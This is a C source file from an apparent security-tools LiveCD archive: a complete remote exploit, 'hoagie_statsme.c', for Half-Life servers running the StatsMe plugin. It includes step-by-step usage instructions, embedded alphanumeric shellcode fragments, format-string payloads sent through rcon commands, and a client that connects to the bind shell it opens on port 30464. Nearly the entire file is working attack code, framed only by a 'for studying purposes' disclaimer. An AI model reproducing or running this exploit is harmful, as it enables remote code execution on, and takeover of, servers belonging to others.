home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / halflife / hoagie-statsme.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  315 lines

  1. /*****************************************************************
  2.   * hoagie_statsme.c
  3.   *
  4.   * Remote exploit for Halflife-Servers running the StatsMe-Plugin
  5.   * (rcon-password required)
  6.   *
  7.   * Binds a shell to port 30464/tcp and connects to it.
  8.   *
  9.   * Author: greuff@void.at
  10.   *
  11.   * Tested on HL-Server v3.1.1.0 and StatsMe 2.6.19/2.6.16
  12.   *
  13.   * HOW TO USE:
  14.   * *) You have to be logged in on the server, ensure that you
  15.   *    never fired a shot. (this would crash the server)
  16.   * *) In a terminal, or better on another machine, start the
  17.   *    exploit.
  18.   * *) It will ask you about 8 times to execute "/statsme" in HL.
  19.   *    On some servers, you have to enter "/statsme" in the console,
  20.   *    on others you have to "say /statsme", that is configuration
  21.   *    dependant. However, just do it.
  22.   * *) The exploit will connect to the freshly spawned shell.
  23.   *
  24.   * Credits:
  25.   *    void.at for all the nice ppl I know there
  26.   *    rik for his excellent article on alphanumeric shellcodes
  27.   *    Taeho Oh for using parts of his shellcode-connection code.
  28.   *
  29.   * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
  30.   * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
  31.   * CRIMINAL ACTIVITIES DONE BY USING THIS PROGRAM.
  32.   *
  33.   *****************************************************************/
  34.  
  35. #include <sys/socket.h>
  36. #include <sys/types.h>
  37. #include <sys/time.h>
  38. #include <unistd.h>
  39. #include <netinet/in.h>
  40. #include <arpa/inet.h>
  41. #include <stdio.h>
  42. #include <errno.h>
  43. #include <string.h>
  44.  
  45. #define CHECK(a) (((a)>=0x20 && (a)<=0x26)||((a)>=0x2A && (a)<=0x2B)|| \
  46.                    ((a)>=0x2D && (a)<=0x39)||((a)>=0x3B && (a)<=0x7A))
  47.  
  48. char server_ip[20];
  49. char rcon_pwd[30];
  50. int server_port;
  51.  
  52. // IMPORTANT choose which statsme-version runs on the target.
  53. // available defines: STATSME_2_6_16, STATSME_2_6_19
  54. // #define STATSME_2_6_19
  55.  
  56. // 5 shellcodes a 187 chars and final block a 73 chars
  57. char *shellcode[]={"hM3yjX5M3yjHPQPPSRPPaVRWUSFfVNfh7yfXf5txfPDfhFzDSTaAj"
  58.                     "MY0Lka0TkajUY0Lkc0tkc0tkejuY0Lkg0Tkg0tkh0tkjjYX0Dkk0T"
  59.                     "kmjjY0Lkn0tkpjvY0Lkq0TksjsY0Lkt0TkvfhDbfXf1Dkw0Tkyj7X"
  60.                     "0Dkz0tkzC0TkzCjNY0LkzC0TkzCj",
  61.  
  62.                     "HX0DkzCC0TkzCCCCfhKDfYf1Lkzf1tkzCCCCC0TkzCjGY0LkzCCC0"
  63.                     "tkzCfhiffXf1DkzCC0TkzCjtY0LkzCCCC0tkzCfhjefYf1LkzCC0T"
  64.                     "kzCjPY0Lkz0TkzCCjMY0Lkz0tkzC0TkzCC0TkzCjFY0Lkz0tkzC0T"
  65.                     "kzCjdY0LkzCCC0TkzCfhJlfYf1Lk",
  66.  
  67.                     "zCCCjXY0Lkz0TkzC0tkzCCfhGUfXf1Dkzf1tkzCCjqX0DkzC0TkzC"
  68.                     "j4X0Dkz0tkzCCjVY0Lkz0tkzCCCC0tkzCfhFqfYf1LkzCC0TkzCjW"
  69.                     "X0DkzC0tkzCC0TkzCj3Y0Lkz0TkzC0TkzCjVY0Lkz0tkzCC0tkzCC"
  70.                     "jMX0Dkz0tkzC0tkzCjHX0DkzC0Tk",
  71.  
  72.                     "zCjOY0Lkz0TkzCCCjuY0Lkz0TkzC0tkzCjVY0LkzC0tkzCjFY0Lkz"
  73.                     "0tkzCCCjTY0Lkz0TkzC0TkzCjzY0LkzC0tkzCjKY0Lkz0tkzCCjMY"
  74.                     "0Lkz0tkzCCCCjbY0LkzCCCCfhUDfYf1LkzCCCC0TkzCjmX0Dkz0tk"
  75.                     "zC0tkzCCfht9fYf1LkzCCC0tkzCC",
  76.  
  77.                     "C0TkzCfhKcfYf1LkzCCCjZY0Lkz0tkzC0tkzCj2Y0LkzC0TkzCjOY"
  78.                     "0Lkz0tkzCCjyX0Dkz0tkzC0tkzCjuX0DkzC0tkzCjIX0Dkz0Tkz1r"
  79.                     "1q161XOfLXQNlQNwQNqQrHF2HLLNJ16QQQ4zwfQNEfQreBMdRQPrf"
  80.                     "Avm1rOf29LeSRrFH1gOf8ir2K1iP",
  81.  
  82.                     "PRrJULROf2Lvj161rOw20A1JOi29A1kOE241iShnMshhzkbivqrTP"
  83.                     "116QSrGG1eO9201FOt26"};
  84.  
  85. // repair code to circumvent statsme \0a\00-fuck goddamnit it took me 2 days
  86. char reparierer[]="hXXXXhYYYYZhpnTTX5pnTTHQVPPTRPPaRRWWUBRDJfh60DWUaAAAjQY0LoA0ToA0"
  87.                    "ToCf1toEjPY0LoG0toHjGX0DoI0toI0toKjmY0LoL0toLjsY0LoM0"
  88.                    "ToNjIY0LoO0ToQjnY0LoRfhuwfXf1DoTf1toTfhwmfYf1LoWf1ToW"
  89.                    "Z1n16fDDVwAQwK3uuBwTBhpYjchXXXXZBJBJBJBJBJ"; // =211 chars
  90.  
  91. int exec_sh(int sockfd)
  92. {
  93.          char snd[4096],rcv[4096];
  94.          fd_set rset;
  95.          while(1)
  96.          {
  97.                  FD_ZERO(&rset);
  98.                  FD_SET(fileno(stdin),&rset);
  99.                  FD_SET(sockfd,&rset);
  100.                  select(255,&rset,NULL,NULL,NULL);
  101.                  if(FD_ISSET(fileno(stdin),&rset))
  102.                  {
  103.                          memset(snd,0,sizeof(snd));
  104.                          fgets(snd,sizeof(snd),stdin);
  105.                          write(sockfd,snd,strlen(snd));
  106.                  }
  107.                  if(FD_ISSET(sockfd,&rset))
  108.                  {
  109.                          memset(rcv,0,sizeof(rcv));
  110.                          if(read(sockfd,rcv,sizeof(rcv))<=0)
  111.                                  exit(0);
  112.                          fputs(rcv,stdout);
  113.                  }
  114.          }
  115. }
  116.  
  117. int connect_sh()
  118. {
  119.          int sockfd,i;
  120.          struct sockaddr_in sin;
  121.          printf("Connect to the shell\n");
  122.          fflush(stdout);
  123.          memset(&sin,0,sizeof(sin));
  124.          sin.sin_family=AF_INET;
  125.          sin.sin_port=htons(30464);
  126.          if(inet_aton(server_ip,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
  127.          if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
  128.          {
  129.                  printf("Can't create socket\n");
  130.                  exit(0);
  131.          }
  132.          if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
  133.          {
  134.                  printf("Can't connect to the shell\n");
  135.                  exit(0);
  136.          }
  137.          return sockfd;
  138. }
  139.  
  140. void create_conn(int *sock, char *host, int port)
  141. {
  142.     struct sockaddr_in sin;
  143.     sin.sin_family=AF_INET;
  144.     sin.sin_port=htons(port);
  145.     if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
  146.     if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);
  147. }
  148.  
  149. void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
  150. {
  151.     char msg[2000];
  152.     struct sockaddr_in sin;
  153.     struct sockaddr_in sfrom;
  154.     fd_set fdset;
  155.     int dummy;
  156.  
  157.     sin.sin_family=AF_INET;
  158.     sin.sin_port=htons(port);
  159.     if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
  160.  
  161.     sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
  162.     if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
  163.        perror("sendto"), exit(1);
  164.  
  165.     if(reply)
  166.     {
  167.        if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
  168.           perror("recvfrom"), exit(1);
  169.  
  170.        if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
  171.           fprintf(stderr,"protocol error: reply\n"), exit(1);
  172.  
  173.        strcpy(reply,msg+4);
  174.     }
  175. }
  176.  
  177. void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char *reply_fun)
  178. {
  179.     char reply[1000];
  180.     char msg[2000];
  181.  
  182.     lowlevel_rcon(sock,host,port,"challenge rcon",reply);
  183.     if(!strstr(reply,"challenge rcon "))
  184.        fprintf(stderr,"protocol error\n"), exit(1);
  185.     reply[strlen(reply)-1]=0;
  186.  
  187.     sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon "),rconpwd,cmd);
  188.     if(reply_fun)
  189.        lowlevel_rcon(sock,host,port,msg,reply);
  190.     else
  191.        lowlevel_rcon(sock,host,port,msg,NULL);
  192.     if(reply_fun)
  193.        strcpy(reply_fun,reply);
  194. }
  195.  
  196. int main(int argc, char **argv)
  197. {
  198.     int sock, i,j;
  199.     int anzsc;
  200.     int nextoffset;
  201.     char hexcode[20];
  202.     char cmd[100];
  203.     char reply[1000];
  204.     char evil_message[1000];
  205.     unsigned long shellcode_addr=0, szBuffor=0, rep=0;
  206.  
  207.     if(argc!=4)
  208.     {
  209.        printf("hoagie_statsme - remote exploit for hlds servers using the statsme plugin\n\n");
  210.        printf("Usage: %s server_ip server_port rcon_password\n\n",argv[0]);
  211.        exit(1);
  212.     }
  213.  
  214.     strcpy(server_ip,argv[1]);
  215.     server_port=strtol(argv[2],NULL,10);
  216.     strcpy(rcon_pwd,argv[3]);
  217.  
  218.     create_conn(&sock,server_ip,server_port);
  219.  
  220.     // check if exploitable
  221. #ifdef STATSME_2_6_19
  222.     send_rcon(sock,server_ip,server_port,rcon_pwd,"sm_playerstats %+e%+e%+e%+e%+e%x...0x%08x",reply);
  223. #else
  224. #ifdef STATSME_2_6_16
  225.     send_rcon(sock,server_ip,server_port,rcon_pwd,"sm_playerstats %+e%+e%+e%+e%+e%+e%+e%+e%+e%x...0x%08x",reply);
  226. #else
  227. #error No statsme-version defined! look into the source file.
  228. #endif
  229. #endif
  230.     if(strlen(reply)==1) printf("< empty reply ... OK >\n");
  231.     else printf("oversized reply: %s, exiting\n",reply), exit(1);
  232.  
  233.     printf("now activate /statsme in CS. The window will contain a lot of \n"
  234.            "garbage followed by a hex code like 0x434050e9. Please enter \n"
  235.            "this hexcode now: ");
  236.     fgets(hexcode,20,stdin);
  237.     hexcode[strlen(hexcode)-1]=0;
  238.     if(strlen(hexcode)!=10 || hexcode[0]!='0' || hexcode[1]!='x')
  239.        printf("invalid hexcode format.\n"), exit(1);
  240.  
  241.     szBuffor=strtoul(hexcode,NULL,16);
  242.     shellcode_addr=szBuffor+0x200;    // will be default offset
  243.  
  244.     if(!CHECK(shellcode_addr>>24) || !CHECK((shellcode_addr>>16)&0xFF) ||
  245.        !CHECK((shellcode_addr>>8)&0xFF))
  246.     {
  247.        printf("sorry, not exploitable yet. Try later.\n");
  248.        exit(1);
  249.     }
  250.     printf("\nAlright, this server is exploitable :-))\n\n");
  251.  
  252.     // 1) fuzzy alignment, needed to ensure all addresses used are ASCII
  253.     shellcode_addr&=0xFFFFFF00;
  254.     shellcode_addr|=0x6A;
  255.  
  256.     printf("Using shellcode address 0x%08x\n",shellcode_addr);
  257.  
  258.     anzsc=5;
  259.     while(anzsc>=-1)
  260.     {
  261.        memset(evil_message,0,1000);
  262.        if(anzsc==-1)
  263.        {
  264.           // special case, create bootstrap loader
  265.           nextoffset=shellcode_addr-szBuffor;
  266.           printf("Creating bootstrap loader at offset %d\n",nextoffset);
  267.  
  268.           rep=shellcode_addr+strlen(reparierer);   // should be ASCII-safe because of 1)
  269.           sprintf(cmd,"h%c%c%c%ch%c%c%c%cZ",rep&0xFF,(rep>>8)&0xFF,(rep>>16)&0xFF,
  270.                   (rep>>24)&0xFF,(shellcode_addr+11)&0xFF,((shellcode_addr+11)>>8)&0xFF,
  271.                   ((shellcode_addr+11)>>16)&0xFF,((shellcode_addr+11)>>24)&0xFF);
  272.           strncpy(reparierer,cmd,11);
  273.           sprintf(cmd,"h%c%c%c%cZ",rep&0xFF,(rep>>8)&0xFF,(rep>>16)&0xFF,
  274.                   (rep>>24)&0xFF);
  275.           strncpy(strstr(reparierer,"hXXXXZ"),cmd,5);
  276.           sprintf(evil_message,"sm_playerstats %%.%du%s",nextoffset,reparierer);
  277.        }
  278.        else
  279.        {
  280.           // write next part of the shellcode
  281.           nextoffset=(shellcode_addr-szBuffor)+
  282.                      strlen(reparierer)+2+anzsc*(187+2);
  283.           printf("Writing shellcode fragment #%d at offset %d\n",anzsc,nextoffset);
  284.  
  285.           sprintf(evil_message,"sm_playerstats %%.%du%s",nextoffset,shellcode[anzsc]);
  286.        }
  287.  
  288.        // send evil package
  289.        // printf("Sending '%s'...\n",evil_message);
  290.        send_rcon(sock,server_ip,server_port,rcon_pwd,evil_message,reply);
  291.        if(strlen(reply)==1) printf("< empty reply ... OK >\n");
  292.        else printf("oversized reply: %s, exiting\n",reply), exit(1);
  293.  
  294.        printf("activate /statsme in CS and then press ENTER...");
  295.        fgets(cmd,100,stdin);
  296.        anzsc--;
  297.     }
  298.  
  299.     printf("Executing shellcode...\n");
  300.  
  301.     strcpy(evil_message,"sm_register ");
  302.     sprintf(cmd,"%c%c%c%c",(shellcode_addr&0xFF),(shellcode_addr>>8)&0xFF,
  303.         (shellcode_addr>>16)&0xFF,(shellcode_addr>>24)&0xFF);
  304.     for(i=0;i<20;i++)
  305.        strcat(evil_message,cmd);
  306.     strcat(evil_message," 1 1");
  307.     send_rcon(sock,server_ip,server_port,rcon_pwd,evil_message,NULL);
  308.     printf("Shell should run now. Wait a few ticks, then press ENTER.\n");
  309.     fgets(cmd,100,stdin);
  310.     close(sock);
  311.     exec_sh(connect_sh());
  312.     return 0;
  313. }
  314.  
  315.